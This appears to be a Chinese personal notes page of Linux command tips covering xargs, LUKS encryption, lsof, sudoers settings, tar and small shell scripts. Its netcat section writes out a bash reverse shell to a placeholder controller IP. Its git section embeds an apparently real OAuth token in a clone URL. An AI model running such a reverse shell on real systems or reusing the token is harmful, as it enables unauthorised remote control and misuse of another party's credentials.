跳转至

linux-好命令

xargs基本用法

# 将标准输入转为命令行参数
echo "hello rumenz" | xargs echo


# 空格作为分隔符
echo "one two three" | xargs mkdir

# 指定制表符\t作为分隔符
echo -e "a\tb\tc" | xargs -d "\t" echo

# -p 打印出要执行的命令并询问用户是否要执行
echo 'one two three' | xargs -p touch

# 统计文件大小
ls | xargs -I {} sh -c 'du -hd0 {}'   ====  ls | xargs -I 9999 sh -c 'du -hd0 9999'

12K     containerd
28K     code
68M     pyenv

NC实现反弹shell

1
2
3
4
5
6
7
8
9
0, 1,  2: 这些是标准的文件描述符。

0 代表标准输入(stdin)
1 代表标准输出(stdout)
2 代表标准错误(stderr)
&: 在重定向语法中,& 通常用于将一个文件描述符与另一个文件描述符或文件结合起来,例如 2>&1,这表示将标准错误重定向到标准输出。

>: 这是一个重定向操作符,用于将输出重定向到文件或设备。
&>  >&:将标准输出和标准错误都重定向

主控端先执行: nc -l 8888

被控端执行

bash -i &> /dev/tcp/主控端IP/8888 0>&1

而后在主控端操作的效果就和在被控端操作一模一样

cryptsetup

1、使用 cryptsetup luksFormat 命令对磁盘进行加密。

当提示时,你需要输入大写的 YES,并输入密码来加密磁盘:
cryptsetup luksFormat /dev/sda1

2、cryptsetup luksOpen 命令将加密的分区映射到一个逻辑设备上。
例如,使用 encryptedvdc1 作为名称。你还需要再次输入密码

sudo cryptsetup luksOpen /dev/sda1 encryptedvdc1
Enter passphrase for /dev/sda1:
加密分区现在在 /dev/mapper/encryptedvdc1 中可用

3、使用 cryptsetup luksClose 命令锁定分区

cryptsetup luksClose encryptedvdc1

GIT

git使用令牌clone代码仓库

git clone https://oauth2:oz3dSdWQE2zon6DqwemY@gitlab.inone.nsfocus.com/tp/CNEOSv2/OS/driver/driver-marvell/driver/ngbe.git

lsof

选项 描述 示例
^ 用于列出除指定的用户、PID 和 UID 之外的所有打开的文件。 lsof -u^root
-u 列出指定用户打开的文件。 lsof -u tom lsof -u^root
-c 列出指定进程打开的文件。 lsof -c network
-p 列出由指定进程 ID 打开的文件。 lsof -p 11 lsof -p PID1, PID2, PID3
+D 列出特定目录打开的文件。 lsof +D /var/log
-i 列出由网络连接、协议和端口打开的文件。 -i UDP -i :631 -i TCP:1-44653 -i 6(ipv6)

sudo

sudo /etc/sudoers
# 允许 sudo 组执行所有命令
%sudo ALL=(ALL:ALL) ALL

# 允许用户执行所有命令,且无需输入密码
escape ALL=(ALL) NOPASSWD: ALL

# 仅允许用户执行 echo, ls 命令
escape ALL=(ALL) NOPASSWD: /bin/echo /bin/ls

# 运行本机的用户执行关机命令
escape localhost=/sbin/shutdown -h now

# 允许 users 用户组中的用户像 root 用户一样使用 mount、unmount、chrom 命令
%users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom
sudo Defaults
# 指定用户尝试输入密码的次数,默认值为3
Defaults passwd_tries=5

# 设置密码超时时间,默认为 5 分钟
Defaults passwd_timeout=2

默认 sudo 询问用户自己的密码,添加 targetpw  rootpw 配置可以让 sudo 询问 root 密码
Defaults targetpw

# 指定自定义日志文件
Defaults logfile="/var/log/sudo.log"

# 要在自定义日志文件中记录主机名和四位数年份,可以加上 log_host 和 log_year 参数
Defaults log_host, log_year, logfile="/var/log/sudo.log"

# 保持当前用户的环境变量
Defaults env_keep += "LANG LC_ADDRESS LC_CTYPE COLORS DISPLAY HOSTNAME EDITOR"
Defaults env_keep += "ftp_proxy http_proxy https_proxy no_proxy"

# 安置一个安全的 PATH 环境变量
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

开头注释行

在 shell 脚本的开头注释行(#!/bin/sh)中,可选项:

选项 描述
-e 任何一行命令出错,整个脚本就会退出
-u 当使用未赋值的变量时,输出错误信息并退出。这可以避免未初始化变量导致的bug。
-x 在执行每条命令之前,先将其显示出来。这使得调试更容易,因为你可以看到脚本的执行流程。
-v 显示 shell 输入行。和 -x 类似,但只显示 shell 真正执行的命令,而不显示注释等。
-n 不要执行任何命令,只检查语法错误。这对脚本调试也很有用。
-f 禁止文件名代换。通常 shell 会将文件名中包含的字符替换为文件名。该选项禁止这种行为,避免出现意外。
-i 使脚本以交互模式运行。在非交互模式下,shell 会忽略终端输入。该选项允许脚本在运行过程中获取输入。
-s 在 shell 中读取标志参数(脚本的参数)。默认情况下,shell 脚本不能直接读取传递给它的参数。该选项开启此功能。
-C 像 C 语言注释一样处理注释。以 # 开头的注释会被忽略,直到行尾。

tar

# 可使用来追加文件
$ tar -cvf test.tar.gz a.txt
$ tar -rvf test.tar.gz b.txt

# 即tar.gz是无法追加文件
# -z: 压缩文件
# -c: 归档文件
$ tar -zcvf test.tar.gz c.txt

# 查看归档内容
$ tar -tf test.tar.gz

😀网卡网速

iftop查看服务器网速 或者使用下面的脚本

#!/bin/bash

dev=eth0

function net_speed(){
    while true
    do 
        RX=`ifconfig $dev | grep "RX pack" | awk '{printf($5)}'`
        TX=`ifconfig $dev | grep "TX pack" | awk '{printf($5)}'`
        sleep 1
        RX2=`ifconfig $dev | grep "RX pack" | awk '{printf($5)}'`
        TX2=`ifconfig $dev | grep "TX pack" | awk '{printf($5)}'`
        printf "\r当前$dev实时网速 下载:%3dMB/S\t上传:%3dMB/S\t总和:%3dMB/S\t" $((($RX2-$RX)/1048576)) $((($TX2-$TX)/1048576))  $((($RX2+$TX2-$RX-$TX)/1048576))
    done
}
net_speed $dev

打印棋盘

for i in {1..8}
do
    for j in {1..8}
    do
        sum=$[i+j]
        if [  $[sum%2] -eq 0 ];then
            echo -ne "\033[46m  \033[0m"
        else
            echo -ne "\033[47m  \033[0m"
        fi
    done
    echo
done

shell锁

signal_handler() {
    printf "收到信号 $1"
    rm -rf -- "$lockdir"
    printf "锁已释放"
}

for sig in $(seq 1 64); do
    trap "signal_handler $sig" $sig
done



lockdir=/tmp/myscript.lock
if mkdir -- "$lockdir"; then
    printf >&2 '成功获取锁定\n'
    sleep 10
    # 当脚本完成或接收到信号时,删除lockdir

    # 可以选择在此目录中创建临时文件:
    tmpfile=$lockdir/filelist

    trap 'rm -rf -- "$lockdir"' 0    # 脚本正常结束时删除目录
else
    printf >&2 '无法获取锁定,放弃:%s\n' "$lockdir"
    exit 0
fi